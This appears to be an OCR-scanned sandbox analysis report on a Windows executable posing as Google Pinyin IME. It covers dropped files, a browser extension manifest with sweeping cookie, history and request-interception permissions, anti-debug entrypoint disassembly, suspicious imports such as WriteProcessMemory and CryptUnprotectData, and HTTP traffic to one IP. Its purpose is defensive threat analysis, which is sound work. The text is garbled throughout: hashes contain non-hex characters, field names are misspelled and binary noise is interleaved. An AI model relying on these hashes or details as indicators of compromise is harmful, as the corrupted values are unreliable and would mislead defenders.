SHA-256: BOD675F1E5D4F772CD90E59A2D64D24CF682A1C966FECCAS0C87C985F64E4136
SHA-512: 50FEF821BF531A439CD00099EE90C938AF3D6A3FF71C8CD57D31D8CAIF5FF68E3BI9D40118AC038A1C6BD7ADD43D7B35759376BBDABEAF592359A1EFOA86ESE

B5
Malicious: false
Preview:

Copyright null 2021

F~..R$s.m.}/.>. x..>..0sw..m..A.O.h].dWz1l.mf.-..'t.H.S0.$.~.7um.\[...-.m.wY.....0."....... Ve WL LT WL
M.JZEW.>_. ... {T.H....Q.2.Ybun....... gPd...E<k.Z.eA"k.G.......6'a. X >0.D4.r...E..N...w....S...... 5.[0.=2.Q..Q.

b..E....1...#Gl.3...2.W[X9.9.X".u$fZ.0....2.>hY.?..9,T}S.g+........eT..0e..&.. 2...[.s..{._.h.C7c.zH.........'I"..].m..8V. .
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https://www.metadefender.com/#!/results/file/YnpJd01URXdORU10Ukdka1NtRjJiV294bjVjWFFtUHk/regular/analysis

C:\Users\luser\AppDatal\Local\crx.json

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\AppData\Local\Temp\6272167835D47591.exe

ASCII text, with very long lines, with no line terminators

dropped

1981

5.365969892012237

false

48:Y4xeW8t8pzxeW8t8poi5a+Q8Elelc1FE8t8RcvPQ:VxhxmiAvMQ
B5CEED4A6FA3F501787DE10B4CB0O2EEE
FO9COABCA18D825D6CE6F192090EBD0659C7321B
749F47181C95AD070353887E477542AAE4AE41F2802CCCB8312F429767254CB8

02B7DE9D7FDAB98F63837A5E98FAODCCCO0FEBB45EAC1CD13523315083D209FFD748513BF1AF5562F10C75E6C821D9B4003EFF3D13CD4CC8B2D76688682E9¢
6

false

{"active_permissions":{"api":['activeTab","browsingData","contentSettings","contextMenus","cookies","downloads","downloadsinternal”,"history","management","priv

acy","storage","tabs","topSites","webNavigation","webRequest","webRequestBlocking"],"scriptable_host":["http://*/*","https://*/*"]},"creation_flags":1,"extension_can_scri

pt_all_urls":true,"from_bookmark":false,"from_webstore":false,"granted_permissions' "activeTab","browsingData","contentSettings","contextMenus","cookies
" "downloads","downloadsInternal”,"history","management","privacy","storage","tabs","topSites","webNavigation","webRequest","webRequestBlocking"],"scriptable_host":
["http://*/*" "https://*/*"]},"initial_keybindings_set":true,"install_time":"13243077899481747" "location":1,"manifest":{"background":{"persistent™:true,"scripts":["jquery-1.8.

3.min.js","background.js"]},"browser_action":{"default_icon":"icon.png","default_popup":"popup.html","default_title":"book_helper"},"content_scripts":[{"all_frames":false

C:\Users\user\AppData\Localwebdatal1611970737633

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\AppData\Local\Temp\6272167835D47591.exe

SQLite 3.x database, last written using SQLite version 3032001

dropped

73728

1.1874185457069584

false
96:13sa9uKnadsdUDitMkMC1mBKC7g1HFp/GelCEjWTPeKeWhbS8pz/YLcs+P+qigSz4:13rHdMHGTPVbSYghCP46w/1Vumg
72A43D390E478BA9664F03951692D109

482FE43725D7A1614F6E24429E455CD0OA920DF7C
593D9DE27A8CA63553E9460E03FD190DCADD2BI6BF63B438B4A92CB05A4D711C

FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFAOCFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC
CE

false

SQLite format 3......@ ....... L TSROSO UUTURIPUUPPORPRIIN LTSS U TP P PSR UPUPI

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Antivirus:

Preview:

C:\Users\user\AppData\Local\Temp\6272167835D47591.exe

PE32 executable (GUI) Intel 80386, for MS Windows

dropped

103632

6.404475911013687

false

1536:TmNEIglU+fGVknVahVV8xftC9uYRmMDBIwZ3Y 12wk7jhgnGbi5A: TCUt+HGMETSRtk92wZ3hb7jh76 A

EF6F72358CB02551CAEBE720FBC55F95

B5EE276E8D479C270ECEB497606BD44EE09FF4B8

6562BDCBF775E04D8238C2B52A4E8DF5AFALE35D1D33D1E4508CFE040676C1ES
EA3FOCF40ED3AA3E43B7A19ED6412027F76F9D2D738E040E6459415AA1ESEF13C29CAB30A66430C33E492558F7C5F0CC86E1DF9474322F231F8506E49C3A1A9(

true

e Antivirus: Metadefender, Detection: 3%, Browse
e Antivirus: ReversingLabs, Detection: 14%

C:\Users\user\AppData\Roaming\1611970727133.txt

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):

Copyright null 2021

C:\Users\user\AppData\Roaming\1611970727133.exe

Little-endian UTF-16 Unicode text, with very long lines, with CRLF, CR line terminators
dropped

30168

3.7189429930762494
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https://www.metadefender.com/#!/results/file/WVRFNE1EY3dORk14ZFhoM1VHTnVkRWRSSEpXamY1cHNOUw/regular/analysis

C:\Users\user\AppData\Roaming\1611970727133.txt

Encrypted: false

SSDEEP: 384:bYasIDQBc4gYdZ6YEIPmh/gMem6hlkS/V:bYasIDQBRgYdZFEiSMQhlksV

MDS5: D65C5C9854C0OBC4ADCEFC8E3A091D20A

SHA1L: F3C57CA5C5B2B94F37D9AE7A9DDAB41333C65773

SHA-256: 12F769B6CD58E9B7043A2B1F020CA2D4326F759B0E0911B93EB4E3BD69ABF129

SHA-512: 8EE2ECF4897873FDA30631DFE7D0OAAIDE2F46DC16FF3D56295882AA808D13E25F30D3301020D6A6049D07DA6ACALC2A43EF17413EASEF85A27DA1A16EEDAS:
D7

Malicious: false

Preview:

Static File Info

General
File type:
Entropy (8bit):
TriD:

File name:
File size:
MDS5:
SHA1L:
SHA256:

SHA512:

SSDEEP:

File Content Preview:

SumNoSLLWH TP Oy
."Mo.d.ified T.im.e.":

MEX.pire. . Time.":
os.o.ft.com”, .. ."Path"."/", . . . "Nam.e"."MC.1",.."Value":."GU.ID.=6.1.3.29.2.3.c.e.0.7.f4.d.d.5.9.1.6.c.7.c.5.b.c.1.7.c.e.f.8.9.&HAS.H.=6.1.

".6./.2.7./2.0.1.9. .1.1.:.3.6.:.2.2. AM.".,.

File Icon

Icon Hash: 79f8e470b2f0f083
Static PE Info

General

Entrypoint: Ox4efaf0
Entrypoint Section: text

Digitally signed: true

Imagebase: 0x400000
Subsystem: windows gui

Image File Characteristics:

DLL Characteristics:
Time Stamp:

TLS Callbacks:
CLR (.Net) Version:
OS Version Major:
OS Version Minor:
File Version Major:

File Version Minor:

Subsystem Version Major:
Copyright null 2021

ML Table .N.ame.
.".6./.2.6./.2.0.2.0. .1.1.:.3.6.:.2.3. AM.",

.".C.o.0kieEntryEx._.8"
."H.os.t .Nam.e.

Lo

miier.

PE32 executable (GUI) Intel 80386, for MS Windows
7.663640140797365

e Win32 Executable (generic) a (10002005/4)
99.96%

Generic Win/DOS Executable (2004/3) 0.02%
DOS Executable Generic (2002/1) 0.02%
Autodesk FLIC Image File (extensions: flc, fli, cel)
(7/3) 0.00%

N1yprTBBXs.exe
4999496

.

.

.

f7d7c89f3f5cbc925480b46b7h934157
73e389b70cf3d8975cchaf7d04f4c45¢cc80be860

2870f899f2e9ec540da321f603cfbla735dcd06df016718e
663dc78fefdf5e0a

9b972e2954c18f706a6f8012a6b76e1f4ce8e76466eae9l
9b55a6225c4f8574586d9f11838d8d63bdd245b11cfd3e5
81248e9a578f72ff2dd8b6623bebc525eb

98304:LWrSa24w3rQ/pE/JFBCnpcYiKAEXXPnsNSkUe:
iy4dwesJFgpc8dXfUSe

32BIT_MACHINE, EXECUTABLE_IMAGE
TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

0x53A28C1B [Thu Jun 19 07:07:07 2014 UTC]

(S BN S ) B N ) ]
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General

Subsystem Version Minor: 1

Import Hash: 580870fafb7ba77509b9cf13d8f3e2af

Authenticode Signature

Signature Valid:

Signature Issuer:
Signature Validation Error:
Error Number:

Not Before, Not After
Subject Chain

Version:

Thumbprint MD5:
Thumbprint SHA-1:
Thumbprint SHA-256:

Serial:

Entrypoint Preview

Instruction

push ebp

mov ebp, esp

sub ebp, 18h

mov dword ptr [ebp-14h], 004EFAFOh
pushfd

pushad

XOr ecx, ecx

rdtsc

mov ecx, eax

XOr eax, eax

rdtsc

sub ecx, eax

cmp ecx, 00000000h
jne 00007F108C9DAGDAN
pop eax

mov ebx, edi

push esi

add ebx, eax

mov ecx, dword ptr [eax]
popad

popfd

push 00000005h

pushfd

pushad

XOr ecx, ecx

rdtsc

mov ecx, eax

XOr eax, eax

rdtsc

sub ecx, eax

cmp ecx, 00000000h
jne 00007F108C9DAGE3h
mov edi, ecx

ret

push edx

mov ecx, dword ptr [esi]
jmp eax

inc ecx

mov ebx, dword ptr [ecx]
mov ebp, edi

mov ebx, esi

idiv edx

popad

popfd
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Instruction

mov eax, 004EFE72h
pushfd

pushad

XOr ecx, ecx

rdtsc

mov ecx, eax

XOr eax, eax

rdtsc

sub ecx, eax

cmp ecx, 00000000h
jne 00007F108C9DAGESh
mov edi, esp

mov ebp, ebx

mov ecx, dword ptr [edx]
inc edx

mov ebx, dword ptr [ebp+00h]
mov esp, ebp

cmp eax, edx

mov ebx, esp

mov eax, dword ptr [esp]
popad

popfd

push eax

pushfd

pushad

XOr ecx, ecx

rdtsc

mov ecx, eax

XOr eax, eax

rdtsc

sub ecx, eax

cmp ecx, 00000000h
jne 00007F108C9DA6DFh
inc edi

mov edx, esp

mov esp, ebp

mov ebx, dword ptr [edi]
push edx

mov eax, esp

inc eax

mov ebp, edi

popad

popfd

push 000013C5h
pushfd

pushad

XOr ecx, ecx

rdtsc

mov ecx, eax

XOr eax, eax

rdtsc

sub ecx, eax

cmp ecx, 00000000h
jne 00007F108C9DAGDEh
dec ebx

inc esi

idiv ecx

mov edi, esp

call esi

mov edx, esp

cmp eax, edx

popad

Rich Headers
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Programming Language: e [C]VS2008 SP1 build 30729
e [LNK] VS2010 SP1 build 40219
e [ASM] VS2010 SP1 build 40219
e [RES]VS2010 SP1 build 40219
e [C]VS2010 SP1 build 40219
o [C++] VS2010 build 30319
e [C++] VS2010 SP1 build 40219
o [IMP] VS2008 SP1 build 30729
Data Directories
Name Virtual Address Virtual Size Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT 0x0 0x0
IMAGE_DIRECTORY_ENTRY_IMPORT 0x1565e4 0x17¢ .rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE 0x162000 0xf918 .rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION 0x0 0x0
IMAGE_DIRECTORY_ENTRY_SECURITY 0x18a000 0x1948 .reloc
IMAGE_DIRECTORY_ENTRY_BASERELOC 0x172000 Oxede4 .reloc
IMAGE_DIRECTORY_ENTRY_DEBUG 0x1217c0 Oxlc .rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT 0x0 0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR 0x0 0x0
IMAGE_DIRECTORY_ENTRY_TLS 0x0 0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG 0x13fecO 0x40 .rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT 0x0 0x0
IMAGE_DIRECTORY_ENTRY_IAT 0x121000 0x63c .rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT 0x0 0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR 0x0 0x0
IMAGE_DIRECTORY_ENTRY_RESERVED 0x0 0x0
Sections
Name  Virtual Address Virtual Size Raw Size Xored PE ZLIB Complexity File Type Entropy Characteristics
text 0x1000 Ox1ifcle 0x11fe00 False 0.463952419399 data 6.5610538952 IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_READ
.rdata 0x121000 0x37978 0x37a00 False 0.340704002809 data 5.10261528062 IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_READ
.data 0x159000 0x812c 0x5600 False 0.271666061047 data 4.93291112706 IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ
.rsrc 0x162000 0xf918 0xfa00 False 0.420390625 data 5.32227888562 IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_READ
.reloc 0x172000 0x1d332 0x1d400 False 0.00116018963675 data 0.0 IMAGE_SCN_CNT_INITIALIZED_D
ATA,
IMAGE_SCN_MEM_DISCARDABLE
, IMAGE_SCN_MEM_READ
Resources
Name RVA Size Type Language Country
RT_ICON 0x162888 Oxea8 data Chinese China
RT_ICON 0x163730 0x8a8 data Chinese China
RT_ICON 0x163fd8 0x568 GLS_BINARY_LSB_FIRST Chinese China
RT_ICON 0x164540 0x25a8 data Chinese China
RT_ICON 0x166ae8 0x10a8 data Chinese China
RT_ICON 0x167b90 0x468 GLS_BINARY_LSB_FIRST Chinese China
RT_ICON 0x167ff8 0x368 GLS_BINARY_LSB_FIRST Chinese China
RT_ICON 0x168360 Oxca8 data Chinese China
RT_ICON 0x169008 Ox1ca8 data Chinese China
RT_ICON 0x16ad38 0x668 data Chinese China
RT_ICON 0x16b3a0 0x2e8 data Chinese China
RT_ICON 0x16b688 0x128 GLS_BINARY_LSB_FIRST Chinese China
RT_ICON 0x16b7b0 Oxea8 data Chinese China
RT_ICON 0x16c658 0x8a8 data Chinese China
RT_ICON 0x16cf00 0x568 GLS_BINARY_LSB_FIRST Chinese China
RT_ICON 0x16d468 0x25a8 dBase Il DBT, version number 0, next free block index  Chinese China
40
RT_ICON 0x16fal0 0x10a8 data Chinese China
RT_ICON 0x170ab8 0x468 GLS_BINARY_LSB_FIRST Chinese China
RT_DIALOG 0x1625b0 0x24c data Chinese China
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Name RVA Size Type Language Country

RT_DIALOG 0x162800 0x86 data Chinese China
RT_STRING 0x1715c8 0xcé data Chinese China
RT_STRING 0x171690 Ox1lba data Chinese China
RT_STRING 0x171850 0xc2 data Chinese China
RT_GROUP_ICON 0x16ach0 0x84 data Chinese China
RT_GROUP_ICON 0x170f20 0x84 data Chinese China
RT_VERSION 0x170fa8 0x2a0 data Chinese China
RT_MANIFEST 0x171248 0x37c XML 1.0 document, ASCII text Chinese China
Imports

DLL Import

ADVAPI32.dll RegCreateKeyExW, RegQueryValueExW, RegQuerylnfoKeyW, RegDeleteKeyW, RegDeleteValueW,

RegOpenKeyExW, RegEnumKeyExW, RegCloseKey, RegSetValueExW, GetSidSubAuthority,
GetSidSubAuthorityCount, CryptGetHashParam, RegEnumValueW, LookupAccountNameW, CryptHashData,
CryptDestroyHash, CryptDestroyKey, CryptCreateHash, CryptimportKey, CryptReleaseContext,
CryptVerifySignatureW, CryptAcquireContextW, SetSecurityDescriptorDacl, SetEntriesInAclW,

Initialize SecurityDescriptor, CreateWellKknownSid, CopySid, GetLengthSid, ConvertSidToStringSidW, GetSecurityInfo,
DuplicateTokenEx, DuplicateToken, CreateRestrictedToken, ConvertStringSidToSidW, SetTokenInformation,
CreateProcessAsUserW, SetThreadToken, LookupPrivilegeValueW, RegFlushKey, EqualSid, GetTokenlInformation,
OpenProcessToken, FreeSid, CheckTokenMembership, AllocateAndinitializeSid, SetSecurityInfo,
GetSecurityDescriptorSacl, ConvertStringSecurityDescriptorToSecurityDescriptorW, RegOpenCurrentUser,
GetUserNameW

KERNEL32.dll Process32FirstW, AssignProcessToJobObject, GetThreadContext, CreateToolhelp32Snapshot, DuplicateHandle,
WriteProcessMemory, ResumeThread, SetinformationJobObject, CreateJobObjectW, GetFileSizeEx,
FileTimeToLocalFileTime, GetDrive TypeW, FindFirstFileExW, GetFileInformationByHandle, PeekNamedPipe,
FreeResource, VerSetConditionMask, VerifyVersionInfow, GetVolumelnformationW, GetComputerNameW,
Process32NextW, OpenMutexW, CreateProcessW, WaitForSingleObject, GetTickCount, InitializeCriticalSection,
WideCharToMultiByte, TerminateProcess, GetModuleFileNameA, IsDebuggerPresent, OutputDebugStringA,
ReleaseMutex, GetCurrentProcessld, DebugBreak, GetTempPathA, LocalFree, VirtualQuery, GetCurrentThread,
GetSystemTime, CreateSemaphoreW, LoadLibraryW, TerminateThread, ReleaseSemaphore, CreateFileW, WriteFile,
ResetEvent, SetEvent, WaitForMultipleObjects, GetSystemDirectoryW, FindFirstFileW, FindNextFileW,
GetFullPathNameW, GetShortPathNameW, DeleteFileW, RemoveDirectoryW, LockResource, FindResourceExW,
FindClose, GetVersionExW, GetNativeSystemInfo, OpenFileMappingW, CreateFileMappingW, MapViewOfFile,
UnmapViewOfFile, OpenEventW, HeapFree, GetProcessHeap, HeapAlloc, MoveFileExW,
GetSystemWow64DirectoryW, OpenProcess, CopyFileW, SetFileAttributesW, FlushViewOfFile, CreateDirectoryW,
GetFileSize, MulDiv, CreateTimerQueueTimer, DeleteTimerQueueTimer, GetTempFileNameW, GetTempPathW,
ConnectNamedPipe, CreateNamedPipeW, ReadFile, CreateEventW, Sleep, GetSystemDefaultLangID,
GetLocalelnfoW, CompareStringW, FlushinstructionCache, SetLastError, IstrcpyW, SetFilePointer, SetEndOfFile,
GetStartupInfowW, GetCurrentDirectoryW, MoveFileW, SetCurrentDirectoryW, SystemTimeToFileTime,
FileTimeToSystemTime, GetFileAttributesW, LocalFileTimeToFileTime, SetFileTime, HeapDestroy, HeapReAlloc,
HeapSize, InterlockedCompareExchange, InterlockedPushEntrySList, IsProcessorFeaturePresent, VirtualFree,
VirtualAlloc, InterlockedPopEntrySList, InterlockedExchange, EncodePointer, DecodePointer,
UnhandledExceptionFilter, GetCommandLineW, HeapSetinformation, GetSystemTimeAsFileTime, ExitProcess,
RtlUnwind, GetCPInfo, LCMapStringW, HeapCreate, GetStdHandle, FreeEnvironmentStringsW,
GetEnvironmentStringsW, SetHandleCount, GetFileType, TIsAlloc, TIsGetValue, TIsSetValue, TIsFree,
QueryPerformanceCounter, GetACP, GetOEMCP, IsValidCodePage, GetConsoleCP, GetConsoleMode,
FlushFileBuffers, GetTimeZonelnformation, GetStringTypeW, GetUserDefaultLCID, GetLocalelnfoA,
EnumSystemLocalesA, IsValidLocale, WriteConsoleW, SetStdHandle, CreateFileA, SetEnvironmentVariableA,
VirtualUnlock, VirtualLock, GetProcessWorkingSetSize, CreateThread, CloseHandle, GetCurrentThreadld,
DeleteCriticalSection, IstrcmpiW, SetProcessWorkingSetSize, EnterCriticalSection, GetProcAddress, GetLastError,
RaiseException, IstrlenW, MultiByteToWideChar, GetModuleFileNameW, LeaveCriticalSection, SizeofResource,
InitializeCriticalSectionAndSpinCount, GetModuleHandleW, GetCurrentProcess, InterlockedDecrement,
InterlockedIncrement, LoadLibraryExW, LoadResource, FreeLibrary, FindResourceW, SetPriorityClass,
CreateMutexW, SetUnhandledExceptionFilter

USER32.dll FillRect, GetWindowRect, ScreenToClient, SetCursor, EndPaint, UnregisterClassA, DispatchMessageW,
DefWindowProcW, MessageBoxW, LoadStringW, PeekM: geW, TranslateM je, CharNextW, GetMessageW,
DestroyWindow, SetCapture, DrawTextW, GetFocus, DialogBoxParamW, TrackMouseEvent, LoadCursorW,
MessageBeep, IsWindowEnabled, GetClientRect, SetFocus, SetRectEmpty, BeginPaint, PtinRect, GetDC, IsWindow,
GetCapture, DrawFocusRect, OffsetRect, InvalidateRect, GetClassNameW, ReleaseDC, MonitorFromWindow,
GetDlgltem, EndDialog, GetSysColor, SetWindowPos, GetCursorPos, CheckDIgButton, ShowWindow,
IsDIgButtonChecked, GetActiveWindow, ReleaseCapture, SetDIgltemTextW, SendMessageW, MapWindowPoints,
UpdateWindow, EnableWindow, GetDIgCtrlID, SetWindowTextW, GetMonitorinfow, CallWindowProcW, GetWindow,
LoadlconW, GetWindowLongW, SetWindowLongW, GetWindowTextW, GetWindowTextLengthW, CreateWindowExW,
RegisterClassW, GetParent, wvsprintfW

VERSION.dII VerQueryValueW

ole32.dll CoCreatelnstance, CoUninitialize, CoTaskMemRealloc, Colnitialize, CoTaskMemFree, CoTaskMemAlloc,
StringFromGUID2, CoCreateGuid

OLEAUT32.dll SafeArrayUnlock, Variantinit, VarUl4FromsStr, SysFreeString, SysAllocString, VariantClear, SafeArrayGetLBound,
SafeArrayDestroy, SafeArrayCreate, SafeArrayRedim, SafeArrayLock, SafeArrayGetVartype, SafeArrayGetUBound,
SafeArrayCopy

COMCTL32.dll InitCommonControlsEx

GDI32.dll SetTextColor, CreateFontindirectW, SetBkMode, DeleteObject, SelectObject, GetObjectW, GetStockObject

dbghelp.dil SymFunctionTableAccess64, SymGetModuleBase64, StackWalk64

SETUPAPLdII SetuplnitDefaultQueueCallback, SetuplterateCabinetW, SetupDefaultQueueCallbackW,
SetupTermDefaultQueueCallback

WINTRUST.dII WinVerifyTrust

CRYPT32.dll CertCloseStore, CertFreeCertificateContext, CryptQueryObject, CertEnumCertificatesInStore, CryptDecodeObject,

CryptProtectData, CryptUnprotectData, CertDuplicateCertificateContext, CertNameToStrW
PSAPI.DLL GetModuleFileNameExW
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DLL
SHELL32.dll

SHLWAPLdIl
urlmon.dll
WININET.dIl
IPHLPAPI.DLL
Version Infos

Description
LegalCopyright
InternalName
FileVersion
CompanyName
ProductName
ProductVersion
FileDescription

Translation
Possible Origin

Language of compilation system

Chinese

Network Behavior

Network Port Distribution

TCP Packets

Timestamp

Jan 29, 2021 17:38:38.629965067 CET
Jan 29, 2021 17:38:38.678442955 CET
Jan 29, 2021 17:38:38.678564072 CET
Jan 29, 2021 17:38:38.678960085 CET
Jan 29, 2021 17:38:38.679003000 CET

Copyright null 2021

Import

CommandLineToArgvW, Shell_NotifylconW, SHGetSpecialFolderPathW, SHCreateDirectoryExW,
SHGetFolderPathW, ShellExecuteExW, SHFileOperationW, ShellExecuteW

PathRemoveFileSpecW, PathFindExtensionW, PathAddExtensionW, UrlEscapeW, PathFindFileNameWw,
PathRemoveExtensionW, PathFileExistsW, PathCommonPrefixW, PathRemoveBackslashw, PathCombineW,
PathAppendW, PathStripPathW, PathlsDirectoryW, PathlsRelativeW, PathCanonicalizeW

URLDownloadToFileW

HttpOpenRequestW, InternetCloseHandle, DeleteUrlCacheEntryW, InternetCrackUrlW, InternetOpenW,
InternetReadFile, InternetConnectW, HttpSendRequestW, HttpQuerylnfoW, InternetQueryDataAvailable

GetAdaptersinfo

Data

Copyright (C) 2008
Google Pinyin
2.7.25.128

Google Inc.
Google Pinyin IME
2.7.25.128

Google Pinyin IME
0x0804 0x04b0

Country where language is spoken

China
Total Packets: 73
® 53 (DNS)
@ 80 (HTTP)
Source Port Dest Port
49717 80
80 49717
49717 80
49717 80
49717 80

Source IP
192.168.2.5
104.21.23.16
192.168.2.5
192.168.2.5
192.168.2.5

Map

Dest IP
104.21.23.16
192.168.2.5
104.21.23.16
104.21.23.16
104.21.23.16
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Timestamp Source Port Dest Port Source IP Dest IP

Jan 29, 2021 17:38:38.725050926 CET 80 49717 104.21.23.16 192.168.2.5
Jan 29, 2021 17:38:38.725073099 CET 80 49717 104.21.23.16 192.168.2.5
Jan 29, 2021 17:38:38.736063004 CET 80 49717 104.21.23.16 192.168.2.5
Jan 29, 2021 17:38:38.736099958 CET 80 49717 104.21.23.16 192.168.2.5
Jan 29, 2021 17:38:38.736125946 CET 80 49717 104.21.23.16 192.168.2.5
Jan 29, 2021 17:38:38.736150026 CET 80 49717 104.21.23.16 192.168.2.5
Jan 29, 2021 17:38:38.736166000 CET 80 49717 104.21.23.16 192.168.2.5
Jan 29, 2021 17:38:38.736212015 CET 49717 80 192.168.2.5 104.21.23.16
Jan 29, 2021 17:38:38.736237049 CET 49717 80 192.168.2.5 104.21.23.16
Jan 29, 2021 17:38:38.746789932 CET 49717 80 192.168.2.5 104.21.23.16
Jan 29, 2021 17:38:38.746871948 CET 49717 80 192.168.2.5 104.21.23.16
Jan 29, 2021 17:38:38.793273926 CET 80 49717 104.21.23.16 192.168.2.5
Jan 29, 2021 17:38:38.793298960 CET 80 49717 104.21.23.16 192.168.2.5
Jan 29, 2021 17:38:38.798671007 CET 80 49717 104.21.23.16 192.168.2.5
Jan 29, 2021 17:38:38.798837900 CET 80 49717 104.21.23.16 192.168.2.5
Jan 29, 2021 17:38:38.798856020 CET 80 49717 104.21.23.16 192.168.2.5
Jan 29, 2021 17:38:38.798871040 CET 80 49717 104.21.23.16 192.168.2.5
Jan 29, 2021 17:38:38.798882008 CET 80 49717 104.21.23.16 192.168.2.5
Jan 29, 2021 17:38:38.798902988 CET 49717 80 192.168.2.5 104.21.23.16
Jan 29, 2021 17:38:38.798929930 CET 49717 80 192.168.2.5 104.21.23.16
Jan 29, 2021 17:38:38.929573059 CET 49717 80 192.168.2.5 104.21.23.16
Jan 29, 2021 17:38:38.929651022 CET 49717 80 192.168.2.5 104.21.23.16
Jan 29, 2021 17:38:38.976480961 CET 80 49717 104.21.23.16 192.168.2.5
Jan 29, 2021 17:38:38.976506948 CET 80 49717 104.21.23.16 192.168.2.5
Jan 29, 2021 17:38:38.990947008 CET 80 49717 104.21.23.16 192.168.2.5
Jan 29, 2021 17:38:38.990974903 CET 80 49717 104.21.23.16 192.168.2.5
Jan 29, 2021 17:38:38.991063118 CET 49717 80 192.168.2.5 104.21.23.16
Jan 29, 2021 17:38:38.991370916 CET 80 49717 104.21.23.16 192.168.2.5
Jan 29, 2021 17:38:38.991396904 CET 80 49717 104.21.23.16 192.168.2.5
Jan 29, 2021 17:38:38.991452932 CET 49717 80 192.168.2.5 104.21.23.16
Jan 29, 2021 17:38:38.992382050 CET 80 49717 104.21.23.16 192.168.2.5
Jan 29, 2021 17:38:39.073061943 CET 49717 80 192.168.2.5 104.21.23.16
Jan 29, 2021 17:38:42.105988979 CET 49717 80 192.168.2.5 104.21.23.16
Jan 29, 2021 17:38:42.106060028 CET 49717 80 192.168.2.5 104.21.23.16
Jan 29, 2021 17:38:42.152085066 CET 80 49717 104.21.23.16 192.168.2.5
Jan 29, 2021 17:38:42.157530069 CET 80 49717 104.21.23.16 192.168.2.5
Jan 29, 2021 17:38:42.157551050 CET 80 49717 104.21.23.16 192.168.2.5
Jan 29, 2021 17:38:42.157649040 CET 49717 80 192.168.2.5 104.21.23.16
Jan 29, 2021 17:38:42.157977104 CET 80 49717 104.21.23.16 192.168.2.5
Jan 29, 2021 17:38:42.157994032 CET 80 49717 104.21.23.16 192.168.2.5
Jan 29, 2021 17:38:42.158044100 CET 49717 80 192.168.2.5 104.21.23.16
Jan 29, 2021 17:38:42.158929110 CET 80 49717 104.21.23.16 192.168.2.5
Jan 29, 2021 17:38:42.276395082 CET 49717 80 192.168.2.5 104.21.23.16
Jan 29, 2021 17:38:46.534598112 CET 49720 80 192.168.2.5 104.21.23.16
Jan 29, 2021 17:38:46.580199957 CET 80 49720 104.21.23.16 192.168.2.5
Jan 29, 2021 17:38:46.580327034 CET 49720 80 192.168.2.5 104.21.23.16
Jan 29, 2021 17:38:46.580929995 CET 49720 80 192.168.2.5 104.21.23.16
Jan 29, 2021 17:38:46.580970049 CET 49720 80 192.168.2.5 104.21.23.16
Jan 29, 2021 17:38:46.626388073 CET 80 49720 104.21.23.16 192.168.2.5
Jan 29, 2021 17:38:46.626430035 CET 80 49720 104.21.23.16 192.168.2.5
Jan 29, 2021 17:38:46.659503937 CET 80 49720 104.21.23.16 192.168.2.5
Jan 29, 2021 17:38:46.659538031 CET 80 49720 104.21.23.16 192.168.2.5
Jan 29, 2021 17:38:46.659560919 CET 80 49720 104.21.23.16 192.168.2.5
Jan 29, 2021 17:38:46.659573078 CET 80 49720 104.21.23.16 192.168.2.5
Jan 29, 2021 17:38:46.659586906 CET 80 49720 104.21.23.16 192.168.2.5
Jan 29, 2021 17:38:46.659627914 CET 49720 80 192.168.2.5 104.21.23.16
Jan 29, 2021 17:38:46.659672976 CET 49720 80 192.168.2.5 104.21.23.16
Jan 29, 2021 17:38:48.740354061 CET 49722 80 192.168.2.5 104.21.23.16
Jan 29, 2021 17:38:48.786232948 CET 80 49722 104.21.23.16 192.168.2.5
Jan 29, 2021 17:38:48.786313057 CET 49722 80 192.168.2.5 104.21.23.16
Jan 29, 2021 17:38:48.794128895 CET 49722 80 192.168.2.5 104.21.23.16
Jan 29, 2021 17:38:48.794214964 CET 49722 80 192.168.2.5 104.21.23.16
Jan 29, 2021 17:38:48.840146065 CET 80 49722 104.21.23.16 192.168.2.5
Jan 29, 2021 17:38:48.840168953 CET 80 49722 104.21.23.16 192.168.2.5
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Timestamp Source Port Dest Port Source IP Dest IP

Jan 29, 2021 17:38:48.865298986 CET 80 49722 104.21.23.16 192.168.2.5
Jan 29, 2021 17:38:48.865328074 CET 80 49722 104.21.23.16 192.168.2.5
Jan 29, 2021 17:38:48.865345955 CET 80 49722 104.21.23.16 192.168.2.5
Jan 29, 2021 17:38:48.865360975 CET 80 49722 104.21.23.16 192.168.2.5
Jan 29, 2021 17:38:48.865372896 CET 80 49722 104.21.23.16 192.168.2.5
Jan 29, 2021 17:38:48.865417004 CET 49722 80 192.168.2.5 104.21.23.16
Jan 29, 2021 17:38:48.865438938 CET 49722 80 192.168.2.5 104.21.23.16
Jan 29, 2021 17:38:50.929253101 CET 49722 80 192.168.2.5 104.21.23.16
Jan 29, 2021 17:38:50.929301977 CET 49722 80 192.168.2.5 104.21.23.16
Jan 29, 2021 17:38:50.975228071 CET 80 49722 104.21.23.16 192.168.2.5
Jan 29, 2021 17:38:50.975272894 CET 80 49722 104.21.23.16 192.168.2.5
Jan 29, 2021 17:38:50.982594967 CET 80 49722 104.21.23.16 192.168.2.5
